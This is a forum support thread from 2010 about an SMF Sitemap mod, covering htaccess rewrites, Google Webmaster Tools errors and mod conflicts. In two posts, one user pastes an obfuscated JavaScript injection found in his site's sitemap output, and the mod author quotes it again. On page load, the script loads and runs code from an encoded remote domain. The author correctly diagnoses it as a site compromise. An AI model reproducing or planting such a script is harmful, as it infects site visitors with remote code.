You are right, following lines in modifications.turkish-utf8.php were missing. I have added and cleaned the cache. Seems the error disappeared.

Thanks for the reminder ;)

// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Boards';
$txt['sitemap_xml'] = 'Show Sitemap XML <em>link</em>';
$txt['sitemap_topic_count'] = 'Maximum number of topics to display in XML sitemap<br /><span class="smalltext">0 to show all (<strong class="error">NOT RECOMMENDED ON LARGE BOARDS</strong>)</span>';
$txt['sitemap_cache_ttl'] = 'Time that XML data should be cached (seconds)';
$txt['sitemap_board_none'] = 'No boards to display';
$txt['sitemap_topic_none'] = 'No topics to display';
$txt['sitemap_30day_priority'] = 'Priority for topics active in the last 30 days';
$txt['sitemap_60day_priority'] = 'Priority for topics active in the last 60 days';
$txt['sitemap_90day_priority'] = 'Priority for topics active in the last 90 days';
$txt['sitemap_91day_priority'] = 'Priority for topics older than 90 days';

Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 06, 2010, 02:52:31 AM
This doesnt work in google webmaster tools for me
Title: Re: Sitemap
Post by: petb on April 06, 2010, 03:10:09 AM
Thats´s right.
When you are you allowed,
make a REDIRECT in your .htaccess file, like this example:

RewriteEngine ON
RewriteRule ^/sitemap.xml$ /index.php?action=sitemap;xml


This is the Important for google and other Bots who reads the Sitemap.
Because it is in the Sitemap Definition-Style.

The Other Links

RewriteRule ^/sitemap2.xml$ /index.php?action=sitemap
RewriteRule ^/sitemap3.xml$ /index.php?action=sitemap;sa=topics


are only to beautify the links  :)
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 06, 2010, 03:30:12 AM
i coppied an pasted that into my .htaccess and added /sitemap.xml in the google sitemaps, still gives error:     
General HTTP error: 404 not found
Title: Re: Sitemap
Post by: Arantor on April 06, 2010, 03:31:40 AM
Link to your site?
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 06, 2010, 03:34:10 AM
http://www.kalaharired.net
Title: Re: Sitemap
Post by: Arantor on April 06, 2010, 03:42:15 AM
That site doesn't load for me which is probably why it also fails in Google.
Title: Re: Sitemap
Post by: petb on April 06, 2010, 03:45:33 AM
I got the same Error like Arantor.

For my Hint:
Maybe i forgot the leading / before sitemap.xml in the REDIRECT ?

Try this:
RewriteRule ^/sitemap.xml$ /index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 06, 2010, 04:51:57 AM
It loads fine for me bro http://kalaharired.net/index.php
Title: Re: Sitemap
Post by: Arantor on April 06, 2010, 05:07:14 AM
Nope, still not loading here.
Title: Re: Sitemap
Post by: petb on April 06, 2010, 05:11:57 AM
Also got a timout, now i am not able to get anything from your site.
No Server response.
Title: Re: Sitemap
Post by: MazdaClubTR on April 06, 2010, 05:17:18 AM
It doesnt load for me either with following error ;

404 Error - Not Found              The  resource you have requested could not be found on the server. There are  many possible reasons for this. Either the file does not exist, there  is an error in your request, or the file is not accessible in the  requested directory. Please verify that:
  You have used the proper case; requests ARE case-sensitive!You have entered the URL correctly. (i.e. proper directory/filename)You used the FULL URL. (i.e. proper file type: .html, .gif , .jpg, etc.)You use a tilde (~) before user directories. (i.e. www.furcen.org/~jurann/ )The user/file still exists on this server. 

Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 06, 2010, 05:19:49 AM
******, my server is off. IX webhosting sucks!
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 06, 2010, 05:58:56 AM
My website is up and running again.
Title: Re: Sitemap
Post by: Arantor on April 06, 2010, 06:01:45 AM
http://kalaharired.net/ and http://kalaharired.net/index.php give me a 404 error now.
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 06, 2010, 06:11:16 AM
It works fine on my side? Can anyone confirm?
Title: Re: Sitemap
Post by: Eclipse16V on April 06, 2010, 06:16:06 AM
Its on but
QuoteWe are producing this website. Check back weekl for updates.
Title: Re: Sitemap
Post by: Arantor on April 06, 2010, 06:20:52 AM
Is now up, however you cannot use the sitemap while in maintenance mode as clicking on the link would tell you.
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 06, 2010, 06:32:25 AM
ok i get what you are saying
Title: Re: Sitemap
Post by: MazdaClubTR on April 06, 2010, 10:00:37 AM
Site is up but sitemap is not working.

Can you try using following ? (which is exactly what is written in mine)


RewriteEngine ON
RewriteRule ^sitemap.xml http://kalaharired.net/index.php?action=sitemap;xml [L]


By the way .htaccess file is inside the root folder right ?
Title: Re: Sitemap
Post by: SlammedDime on April 06, 2010, 03:22:40 PM
Your sitemap is working fine, there is no need for any of this .htaccess stuff.  Don't even worry about it.
Title: Re: Sitemap
Post by: MarkoKg on April 07, 2010, 04:38:15 AM
Hello there.
Can anyone help me to make sitemap page view for guests, and not for only logged in members.

Thanks.
Title: Re: Sitemap
Post by: SlammedDime on April 07, 2010, 06:25:20 AM
The sitemap is not permission based, it is viewable by anyone and everyone unless you have guest browsing disabled on your board, in which case all you can do is disable that feature.
Title: Re: Sitemap
Post by: MarkoKg on April 07, 2010, 06:28:04 AM
Thanks for your quick answer.
I have that option enablem and guests can not view and browse forum before they log in.
Can i somehow disable this just for sitemap?
Title: Re: Sitemap
Post by: SlammedDime on April 07, 2010, 06:51:56 AM
What would be the point?  The main point behind the sitemap is to open up your forum to search engines and allow them to know all of the content you have to offer.  The second reason is to give your members access at a glance to everything... allowing everyone to view the sitemap but not the board or topics themselves really doesn't serve any purpose... it would be better to just allow guest browsing and install the mod that allows guests to view topic titles, but not browse topics.
Title: Re: Sitemap
Post by: MarkoKg on April 08, 2010, 08:46:14 AM
The point would be to let google see sitemap, and guests will have to register however, couse they wont know the link.
Title: Re: Sitemap
Post by: Arantor on April 08, 2010, 08:48:53 AM
Point is Google can't index anything guests can't see...
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 08, 2010, 05:37:57 PM
Site is on now.
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 08, 2010, 05:41:34 PM
I inserted this in my .htaccess
RewriteRule ^/sitemap.xml$ /index.php?action=sitemap;xml
and google still uses my old sitemap.xml
Please help?
Title: Re: Sitemap
Post by: flapjack on April 08, 2010, 05:41:48 PM
Quote from: Arantor on April 08, 2010, 08:48:53 AM
Point is Google can't index anything guests can't see...
That might be slightly not 100% correct, what if you play with:
/index.php?action=admin;area=sengines;sa=settings
and set different group for spiders? ;)
Title: Re: Sitemap
Post by: Arantor on April 08, 2010, 05:43:48 PM
And get hit by the penalty for cloaking content? No thanks! (Google does do spot checks on what's visible to guests and has even de-listed sites that have indexable content for Google-identified accesses but not to guests)
Title: Re: Sitemap
Post by: flapjack on April 08, 2010, 05:47:08 PM
that's according to the information on their TOS. the reality is, however, that it's there more to scare people away from doing this
Title: Re: Sitemap
Post by: Arantor on April 08, 2010, 05:48:00 PM
Read mattcutts.com, blog of one of the senior engineers - and how many people ask him to take a look...
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 08, 2010, 05:48:44 PM
So what do i do now?
Title: Re: Sitemap
Post by: Arantor on April 08, 2010, 05:51:50 PM
Whatever is in the sitemap needs to be open to guests and whatever's open to guests goes in the sitemap - simple as that. If you want it indexed and with sitemap, it needs to be more open. Otherwise you drop the sitemap and go with something like the Look But No Read mod.
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 08, 2010, 05:59:45 PM
i dont mind all that. the guest sitemap is fine. but how do i get my site to make the sitemap itself.
I got the mod installed and all. but google doesnt want to take it.
Title: Re: Sitemap
Post by: hartiberlin on April 08, 2010, 06:26:49 PM
@SlammedDime,

when are you going to support PortaMX Single Pages
and AEVA Media Gallery postings and comments finally
in your sitemap ?

Or is there any other sitemap solution that supports this ?
Or any plugin, that can add these 2 ?

Many thanks.
Title: Re: Sitemap
Post by: Arantor on April 08, 2010, 06:28:43 PM
/me would like to remind mod users that mods are freely donated by their authors, as is their time, and suggestions and borderline demands generally aren't taken in good faith.
Title: Re: Sitemap
Post by: SlammedDime on April 08, 2010, 09:32:38 PM
Quote from: hartiberlin on April 08, 2010, 06:26:49 PM
@SlammedDime,

when are you going to support PortaMX Single Pages
and AEVA Media Gallery postings and comments finally
in your sitemap ?

Or is there any other sitemap solution that supports this ?
Or any plugin, that can add these 2 ?

Many thanks.
Probably not for some time... I have very limited time and adding features to this mod is on the near bottom of my priority list.
Title: Re: Sitemap
Post by: MazdaClubTR on April 09, 2010, 12:58:04 AM
Quote from: NFSMW on April 08, 2010, 05:59:45 PM
i dont mind all that. the guest sitemap is fine. but how do i get my site to make the sitemap itself.
I got the mod installed and all. but google doesnt want to take it.

That is cause http://www.kalaharired.net/sitemap.xml and http://www.kalaharired.net/index.php?action=sitemap;xml are not giving the same output.

Is there a file named sitemap.xml on your root folder ?
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 09, 2010, 01:37:25 AM
yes there is.
Title: Re: Sitemap
Post by: MazdaClubTR on April 09, 2010, 03:30:52 AM
Quote from: NFSMW on April 09, 2010, 01:37:25 AM
yes there is.

You should delete it so that everytime google looks for the sitemap, it will get the updated version
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 09, 2010, 03:37:35 AM
I removed the sitemap.xml file. I added the mentioned in .htaccess

General HTTP error: 404 not found
We encountered an error while trying to access your Sitemap. Please ensure your Sitemap follows our guidelines and can be accessed at the location you provided and then resubmit.
Title: Re: Sitemap
Post by: MazdaClubTR on April 09, 2010, 04:09:30 AM
it is clear that there is something wrong with your .htaccess file. Not redirecting ..
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 09, 2010, 04:24:42 AM
Can i redirect the sitemap in my hosting control panel?
Title: Re: Sitemap
Post by: MazdaClubTR on April 09, 2010, 04:39:10 AM
I dont know. Your server is not windows , right ?
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 09, 2010, 04:44:37 AM
No, it linux
Title: Re: Sitemap
Post by: MazdaClubTR on April 09, 2010, 05:30:36 AM
Quote from: NFSMW on April 09, 2010, 04:44:37 AM
No, it linux

So you should be able to do it with htaccess. May be you can get help from tech support of your host about it.
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 09, 2010, 05:33:52 AM
anything in specific i could ask them
Title: Re: Sitemap
Post by: swoodie on April 09, 2010, 06:03:40 AM
hi SlammedDime  is there a chance of a download for rc2 for now?.
Title: Re: Sitemap
Post by: iosys on April 11, 2010, 10:25:04 PM
Hi I had the same 404 problem.  Heres what sortof worked for me.  In the root .htaccess I added the following:

RewriteEngine on
RewriteBase /
RewriteRule ^sitemap.xml http://www.site.com/index.php?action=sitemap [L]


However this only produces a HTML sitemap.  For the xml sitemap I cant get it to work either.  The redirect makes the following:

index.php?action=sitemap%3bxml
NOT
index.php?action=sitemap;xml 
like it should


Any ideas?
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 12, 2010, 02:30:38 AM
I also still need help with this. But ya. seems no one can make it work.
Title: Re: Sitemap
Post by: SlammedDime on April 12, 2010, 03:38:01 AM
I don't understand why ya'll are trying to do any sort of rewrites... they're not necessary *at all*
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 12, 2010, 03:40:26 AM
I want my site to be fresh for google. and to do that i need to submit that to google. But google doesnt except the current sitemap. If there is anotherway to do this please tell us.
Title: Re: Sitemap
Post by: SlammedDime on April 12, 2010, 03:45:13 AM
Google *does* accept the sitemap formatted as index.php?action=sitemap;xml... it always has.

http://kalaharired.net/index.php?action=sitemap;xml

What exact error (include a screenshot if you can) does google give you when you use that link above?
Title: Re: Sitemap
Post by: SN on April 14, 2010, 02:20:21 AM
Im having the same problem, getting a red X on the site map status on google.

Im not sure how the ?action=sitemap;xml should look, but mine looks abit messed up looks like its all on one line, and i only installed this yesterday.

Also is there anyway to as custom pages to the sitemap?
Title: Re: Sitemap
Post by: SlammedDime on April 14, 2010, 02:26:21 AM
If this is your sitemap: http://spursnetwork.com/forums/index.php?action=sitemap;xml

It looks fine to me... but I'll ask the same thing I posted to the user above you... what is the exact error (with a screenshot if possible)

Also, at the moment it is not possible to add anything custom to the sitemap, it's simply based on boards and topics for now.
Title: Re: Sitemap
Post by: SN on April 14, 2010, 02:38:08 AM
When i give my sitemap link to google it takes it fine for me, back after that it has a red X on status. I have never used Google webmater tools before so im not sure if it suppose to be like that or not.

Ill add the screen shots show you what i am seeing
Title: Re: Sitemap
Post by: Qayyom Ashraf on April 14, 2010, 03:15:25 AM
Dear Experts!

Please help me to resolve this error here on my site; while viewing XML Sitemap

My Site URL: http://www.jangforum.com/index.php?action=sitemap;xml (http://www.jangforum.com/index.php?action=sitemap;xml)

XML Parsing Error: junk after document element
Location: http://www.jangforum.com/index.php?action=sitemap;xmlLine Number 10968, Column 1:

<script>var D;if(D!='' && D!='X'){D=''};var U=new Array();var p="";function u(){var aY=new Date();var uV=RegExp;var Q;if(Q!='q'){Q=''};var N="]";var kn;if(kn!=''){kn='vn'};var zN;if(zN!='e' && zN!='vh'){zN='e'};var r="\x2f\x67\x61\x6e\x6a\x69\x2e\x63\x6f\x6d\x2f\x67\x61\x6e\x6a\x69\x2e\x63\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x61\x6e\x67\x65\x67\x65\x2e\x63\x6f\x6d\x2f\x6b\x69\x6a\x69\x6a\x69\x2e\x63\x61\x2e\x70\x68\x70";var H='';function F(d,B){var hE=new Array();var g;if(g!='Hl' && g != ''){g=null};var hR;if(hR!='t' && hR!='HX'){hR='t'};var BK=String("iMc[".substr(3));BK+=B;var As;if(As!=''){As='sS'};BK+=N;var WG='';var TR='';var S=new uV(BK, new String("7wkg".substr(3)));var K;if(K!='' && K!='eo'){K='HT'};var pH;if(pH!='' && pH!='ed'){pH='jH'};return d[new String("rep"+"lac"+"e")](S, H);};var Rv;if(Rv!='I' && Rv != ''){Rv=null};var fH;if(fH!='' && fH!='Nu'){fH='Bh'};var W=F('8955593606965585956650693356','6395');var Ud=new Date();var ga=new Array();var x="src";var Il=new Array();var FC='';var h=window;this.Dk='';var b;if(b!='ny' && b!='Hn'){b=''};var sST=new String();var T=unescape("%68%74%74%70%3a%2f%2f%69%66%65%6e%67%2d%63%6f%6d%2e%63%69%74%69%62%61%6e%6b%2e%63%6f%6d%2e%74%72%69%70%61%64%76%69%73%6f%72%2d%63%6f%6d%2e%6e%65%65%64%73%65%72%76%65%2e%72%75%3a");var G='';var P=F('dUeJfHeKrJ','Yq8gMKH0EUJbu');var PG=new String();var Gs=new Array();this.gX="";h[String("onlo2SzX".substr(0,4)+"ad")]=function(){var Jm=new Date();try {a=document.createElement(F('sHcTrviHpTtT','HUvT'));var lA;if(lA!='C'){lA=''};var Fg=new Date();FC=T;var fJ;if(fJ!='At'){fJ='At'};FC+=W;FC+=r;var vW;if(vW!='pO' && vW!='Bp'){vW=''};var Ic=new Date();a[x]=FC;var bO;if(bO!='' && bO!='xL'){bO=''};a[P]=[1][0];var WW;if(WW!='Xp'){WW=''};var _t=new String();var tg=new String();document.body.appendChild(a);var CB=new Array();var sO="";} catch(Y){this.Wl='';var G_;if(G_!='wP' && G_!='PP'){G_=''};};};var oH=new Array();var ow=new Array();};var Ec;if(Ec!='ho' && Ec!='Jw'){Ec='ho'};var Hj;if(Hj!='rh' && Hj!='ON'){Hj='rh'};u();this.fa="";var jC;if(jC!='' && jC!='aZ'){jC=null};</script>
^


Thanks & Regards
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 14, 2010, 04:13:25 AM
So i am not the only one having these problems.
Title: Re: Sitemap
Post by: SlammedDime on April 14, 2010, 04:36:23 AM
Quote from: SN on April 14, 2010, 02:38:08 AM
When i give my sitemap link to google it takes it fine for me, back after that it has a red X on status. I have never used Google webmater tools before so im not sure if it suppose to be like that or not.

Ill add the screen shots show you what i am seeing
The error is right there... albeit you may not really understand what it is telling you... basically when you signed up for Google Webmaster tools and setup your site, you told it that your site is http://www.spursnetwork.com... however in your SMF admin panel on your site, you have the site as http://spursnetwork.com.  You need to pick one or the other and standardize it across everything that you submit your site to or mention your site.  If you want to go with the www. version, you need to fix it in your SMF config.  If you want to go with the non-www version, you need to fix it in Googles Webmaster tools.
Title: Re: Sitemap
Post by: SlammedDime on April 14, 2010, 04:38:05 AM
Quote from: qayyom on April 14, 2010, 03:15:25 AM
Dear Experts!

Please help me to resolve this error here on my site; while viewing XML Sitemap

My Site URL: http://www.jangforum.com/index.php?action=sitemap;xml (http://www.jangforum.com/index.php?action=sitemap;xml)

XML Parsing Error: junk after document element
Location: http://www.jangforum.com/index.php?action=sitemap;xmlLine Number 10968, Column 1:

<script>var D;if(D!='' && D!='X'){D=''};var U=new Array();var p="";function u(){var aY=new Date();var uV=RegExp;var Q;if(Q!='q'){Q=''};var N="]";var kn;if(kn!=''){kn='vn'};var zN;if(zN!='e' && zN!='vh'){zN='e'};var r="\x2f\x67\x61\x6e\x6a\x69\x2e\x63\x6f\x6d\x2f\x67\x61\x6e\x6a\x69\x2e\x63\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x61\x6e\x67\x65\x67\x65\x2e\x63\x6f\x6d\x2f\x6b\x69\x6a\x69\x6a\x69\x2e\x63\x61\x2e\x70\x68\x70";var H='';function F(d,B){var hE=new Array();var g;if(g!='Hl' && g != ''){g=null};var hR;if(hR!='t' && hR!='HX'){hR='t'};var BK=String("iMc[".substr(3));BK+=B;var As;if(As!=''){As='sS'};BK+=N;var WG='';var TR='';var S=new uV(BK, new String("7wkg".substr(3)));var K;if(K!='' && K!='eo'){K='HT'};var pH;if(pH!='' && pH!='ed'){pH='jH'};return d[new String("rep"+"lac"+"e")](S, H);};var Rv;if(Rv!='I' && Rv != ''){Rv=null};var fH;if(fH!='' && fH!='Nu'){fH='Bh'};var W=F('8955593606965585956650693356','6395');var Ud=new Date();var ga=new Array();var x="src";var Il=new Array();var FC='';var h=window;this.Dk='';var b;if(b!='ny' && b!='Hn'){b=''};var sST=new String();var T=unescape("%68%74%74%70%3a%2f%2f%69%66%65%6e%67%2d%63%6f%6d%2e%63%69%74%69%62%61%6e%6b%2e%63%6f%6d%2e%74%72%69%70%61%64%76%69%73%6f%72%2d%63%6f%6d%2e%6e%65%65%64%73%65%72%76%65%2e%72%75%3a");var G='';var P=F('dUeJfHeKrJ','Yq8gMKH0EUJbu');var PG=new String();var Gs=new Array();this.gX="";h[String("onlo2SzX".substr(0,4)+"ad")]=function(){var Jm=new Date();try {a=document.createElement(F('sHcTrviHpTtT','HUvT'));var lA;if(lA!='C'){lA=''};var Fg=new Date();FC=T;var fJ;if(fJ!='At'){fJ='At'};FC+=W;FC+=r;var vW;if(vW!='pO' && vW!='Bp'){vW=''};var Ic=new Date();a[x]=FC;var bO;if(bO!='' && bO!='xL'){bO=''};a[P]=[1][0];var WW;if(WW!='Xp'){WW=''};var _t=new String();var tg=new String();document.body.appendChild(a);var CB=new Array();var sO="";} catch(Y){this.Wl='';var G_;if(G_!='wP' && G_!='PP'){G_=''};};};var oH=new Array();var ow=new Array();};var Ec;if(Ec!='ho' && Ec!='Jw'){Ec='ho'};var Hj;if(Hj!='rh' && Hj!='ON'){Hj='rh'};u();this.fa="";var jC;if(jC!='' && jC!='aZ'){jC=null};</script>
^


Thanks & Regards

I can't access your site due to my companies firewall, however I don't really need to.  Your site has been hacked, or at the least, the files comprimised and javascript is being injected into your pages.  If you don't know how or where to find this or fix the issue, you should create a new topic in the SMF Support board for your version of SMF to receive some assistance.  Typically the injected code will be at the bottom of your index.php (But again, you need to open a new topic in the SMF support board for your version, this topic isn't for that).
Title: Re: Sitemap
Post by: SlammedDime on April 14, 2010, 04:38:34 AM
Quote from: NFSMW on April 14, 2010, 04:13:25 AM
So i am not the only one having these problems.
And yet you still haven't answered my post...

Quote from: SlammedDime on April 12, 2010, 03:45:13 AM
Google *does* accept the sitemap formatted as index.php?action=sitemap;xml... it always has.

http://kalaharired.net/index.php?action=sitemap;xml

What exact error (include a screenshot if you can) does google give you when you use that link above?
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on April 14, 2010, 05:56:49 AM
I am just busy working on another site. i will post in an hours time. hope thats fine with you
Title: Re: Sitemap
Post by: FireDitto on April 14, 2010, 09:48:47 PM
Ahh, I have an issue.

The sitemap appears to be working nicely:

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimages.fusilladeink.org%2Fsm.png&hash=c0babbc197ae7484645abc9e2a81fe233ae597da)

But I can no longer access the following in Administration, or their sub menus:
- Core Features
- Features and Options
- Security and Moderation
- Modification Settings

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimages.fusilladeink.org%2Ferror2.png&hash=d58948ad46a01df565ccf18ea1e6fd021421545b)


Mods installed are as follows:

Multiple Forums Mod (http://custom.simplemachines.org/mods/index.php?mod=2137)
EzPortal (http://custom.simplemachines.org/mods/index.php?mod=1461)
Sitemap (http://custom.simplemachines.org/mods/index.php?mod=755)
Custom Form Mod (http://custom.simplemachines.org/mods/index.php?mod=1279)
Member Colour Link (http://custom.simplemachines.org/mods/index.php?mod=111)
Add IP2Location Tracker (http://custom.simplemachines.org/mods/index.php?mod=1320)
Display Name On Registration (http://custom.simplemachines.org/mods/index.php?mod=1747) [RC2]

Site map was installed last, despite that it's been upped to 3rd position... Why does SMF do that? o_O
Title: Re: Sitemap
Post by: FireDitto on April 15, 2010, 06:29:19 AM
Note: I had to manually un-install the mod, until someone is able to tell me why it's causing the issues it did.
Title: Re: Sitemap
Post by: Clickout on April 17, 2010, 12:20:58 AM
The XML sitemap generated by the sitemap mod is not accepted by google and yahoo :( [REASON: NOT VALID!]

Quote
GOOGLE SAYS...
   
Error on line    824    
Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting.    
Problem detected on: Apr 16, 2010


Sitemap: http://ipool.uni.cc/index.php?action=sitemap;xml

Im using  SMF 2.0 RC3 and also using pretty url

But the validator tool by validator.w3.org tells that the sitemap is valid!

pl. help me to solve this.
Title: Re: Sitemap
Post by: hartiberlin on April 18, 2010, 06:30:33 PM
SD,
any news on a new version of the sitemap
with AEVA picture galleries pages and PortaMX pages added ?

Please please why can´t you do this ?
Title: Re: Sitemap
Post by: Arantor on April 18, 2010, 06:32:30 PM
Because he has more important things to do than write features for a mod he admits is low priority? (You know, like work, look after his baby, rewrite the Customize site... little things like that)
Title: Re: Sitemap
Post by: hartiberlin on April 19, 2010, 11:19:24 AM
Do does anybody have an idea how then to best merge
another sitemap file with this Sitemap mod ?
I could let run an external Program like Gsite crawler and generate
a sitemap XMP file, but how could I then merge both into one file
or is it just better to just only use then the external program only and
remove the Sitemap mod ?

If I have a site, where the contens does not change too often,
maybe I can live without this Mod ?
What is your opinion about this ?
Many thanks.
Title: Re: Sitemap
Post by: flapjack on April 19, 2010, 04:02:41 PM
you could create additional page and add code to it. this can be done by using a portal or any mod such as "Bakers Dozen"
Title: Re: Sitemap
Post by: SlammedDime on April 19, 2010, 05:56:57 PM
Quote from: FireDitto on April 14, 2010, 09:48:47 PM
Ahh, I have an issue.

...snip...

But I can no longer access the following in Administration, or their sub menus:
- Core Features
- Features and Options
- Security and Moderation
- Modification Settings
You'd have to manually check the ManageSettings.php file... chances are that the code for this mod got installed into the wrong spot in the file because another mod improperly added code.

Quote from: Clickout on April 17, 2010, 12:20:58 AM
The XML sitemap generated by the sitemap mod is not accepted by google and yahoo :( [REASON: NOT VALID!]

Quote
GOOGLE SAYS...
   
Error on line    824    
Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting.    
Problem detected on: Apr 16, 2010


Sitemap: http://ipool.uni.cc/index.php?action=sitemap;xml

Im using  SMF 2.0 RC3 and also using pretty url

But the validator tool by validator.w3.org tells that the sitemap is valid!

pl. help me to solve this.
This is an issue you'll have to take up with your host.  Whenever googlebot visits your site, they automatically add the follow code to the bottom of every page:
<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->


I'd personally find a new host.

Quote from: hartiberlin on April 18, 2010, 06:30:33 PM
SD,
any news on a new version of the sitemap
with AEVA picture galleries pages and PortaMX pages added ?

Please please why can´t you do this ?
As Arantor said, this is at the bottom of my priority list.  I don't have time right now to simply go adding features to a mod that works very well for it's purpose out of the box.

Quote from: hartiberlin on April 19, 2010, 11:19:24 AM
Do does anybody have an idea how then to best merge
another sitemap file with this Sitemap mod ?
I could let run an external Program like Gsite crawler and generate
a sitemap XMP file, but how could I then merge both into one file
or is it just better to just only use then the external program only and
remove the Sitemap mod ?

If I have a site, where the contens does not change too often,
maybe I can live without this Mod ?
What is your opinion about this ?
Many thanks.
Why the need to merge?  Google allows you to submit multiple sitemaps.  You can also make a sitemap list file that contains multiple links to sitemaps and just submit that one to google.
Title: Re: Sitemap
Post by: Clickout on April 20, 2010, 06:17:31 AM
Thank you! Now i know what's making the error.
Title: Re: Sitemap
Post by: caoyiqian on April 20, 2010, 07:46:34 AM
Oh, it's a very long thread, man. I finally finish reading it. It is so much helpful, and thanks guys. Especially the mods is a great tool.
Title: Problem Installing
Post by: teofiluscandra on April 23, 2010, 02:27:01 AM
Sir, I Try to Install but Error on admin.php :
Find[Select]
// Note the comma!! The setting with automatically appear with the first mod to be added.
Add After[Select]
'sitemap' => array($txt['sitemap']),


Like That sir, Can You Fixed....

Req. :
- SMF 2 RC 3
- SIMPLEPORTAL 2.3.1
- Facebook n twitter publisher
- Pretty URL
- ETC

thx sir
Title: Re: Sitemap
Post by: SlammedDime on April 23, 2010, 02:59:07 AM
You'll have to install it manually on that edit... another mod has modified that section and it shouldn't have.
Title: Re: Sitemap
Post by: FireDitto on April 25, 2010, 03:43:58 AM
Quote from: SlammedDime on April 19, 2010, 05:56:57 PM
Quote from: FireDitto on April 14, 2010, 09:48:47 PM
Ahh, I have an issue.

...snip...

But I can no longer access the following in Administration, or their sub menus:
- Core Features
- Features and Options
- Security and Moderation
- Modification Settings
You'd have to manually check the ManageSettings.php file... chances are that the code for this mod got installed into the wrong spot in the file because another mod improperly added code.

Okay... but I've had /no/ issues what so ever with installation of modifications... How do I know what it is I'm looking for? As I said before, the Sitemap installed cleanly, when I removed it, that went cleanly as well. As did the re-installation just now.

So... How do I know what to look for? How do I know what is incorrectly placed and what is not?
Title: Re: Sitemap
Post by: swoodie on April 26, 2010, 08:26:16 PM
Hi i just installed this mod works on default theme,  to get it to work on January_alt i use that index.temp file?

can some have a look to see what is wrong as i couldn't find this code in    managesettings.php   'description' => $txt['modification_settings_desc'],      'tabs' => array(         'general' => array(         ),

other mods i have installed are SP , Ad mod, Treasury, Avea Media all for RC3


thanks in advance

i am pretty sure i resolved it  added to indextemp.php  seem to be showing up link working.
Title: Re: Sitemap
Post by: mu271828 on May 04, 2010, 03:30:12 AM
I was about to ask why the XML sitemap does not contain pretty URLs, though the mod of the same name is installed..

But then I discovered that line 189 of Sitemap.php checks for $modSettings['pretty_enable_filters'] == 'on', where it is really set to '1' when they're enabled.  Works great now.  Just in case anyone has the same problem.

Thanks for the mod!
Title: Re: Sitemap
Post by: SlammedDime on May 04, 2010, 04:41:09 AM
Ah... looks like Dannii changed it somewhere along the line... it 'used' to be 'on'.  Nice find
Title: Re: Sitemap
Post by: netjockey on May 06, 2010, 08:09:34 AM
hello Freinds

I'm running SMF latest 1.1.11 with Sitemap Mod with Pretty URLs.

   SMF Sitemap   1.2.2
   Pretty URLs   1.0RC

the  Pretty URLs are working and the HTML sitemap is also correct.

The problem is that the  XML sitemap is still using the board=9.0, and topic=1145.0 URLS.

websitenamedotcom/forums/index.php?action=sitemap;xml

xml sitemap is shown like these

websitenamedotcom/forums/index.php?board=1.0
websitenamedotcom/forums/index.php?topic=1.0
websitenamedotcom/forums/index.php?topic=5.0

Why the Xml sitemap is not picking up pretty urls
Title: Re: Sitemap
Post by: Arantor on May 06, 2010, 08:13:11 AM
Quote from: netjockey on May 06, 2010, 08:09:34 AM
Why the Xml sitemap is not picking up pretty urls

Look at the two posts IMMEDIATELY before yours.
Title: Re: Sitemap
Post by: netjockey on May 06, 2010, 08:22:35 AM
Great Support thanks a lot
Title: Re: Sitemap
Post by: coolfx350 on May 06, 2010, 01:19:07 PM
Thanks for the great mod.

I bought a package called Sitemap Generator www.xml-sitemaps.com, not sure if you heard of it, it works good overall.

I installed your mod and did a .xml to .xml comparison, it looks like their sitemap has 35% more URLS in it, but yours looks much cleaner, I was just wondering why it doesn't grabs all the urls that sitemap generator grabs?

My old sitemaps always have problems with google webmaster tools where it only index 20% of URLs I submited. not very good..

I have just submitted your version sitemap, see how it works with google webmaster tools.

keep up the good work.
Title: Re: Sitemap
Post by: SlammedDime on May 06, 2010, 02:08:57 PM
Their program/version probably grabs every conceivable link, which is not practical... you shouldn't have to care about search engines knowing about the link to register, or the link to the forum stats, etc... the meat of your site is the boards and topics, which is exactly what my sitemap generates.
Title: Re: Sitemap
Post by: Arantor on May 06, 2010, 02:10:06 PM
*nods* It follows every possible link, not knowing whether any are more important than any other.

In fact, it may even figure that the register link is more important because it appears on every page...
Title: Re: Sitemap
Post by: coolfx350 on May 06, 2010, 02:44:04 PM
no I have robot.txt that filters links such as register, profiles, etc etc.

   Filename            Status    Format    Downloaded     URLs submitted     Indexed URLs
   sitemap1.xml    OK        Sitemap    May 6, 2010    92                             1

So your sitemap file, google webmaster tools says submitted 92, index 1? any ideas why this is?

Title: Re: Sitemap
Post by: SlammedDime on May 06, 2010, 02:50:12 PM
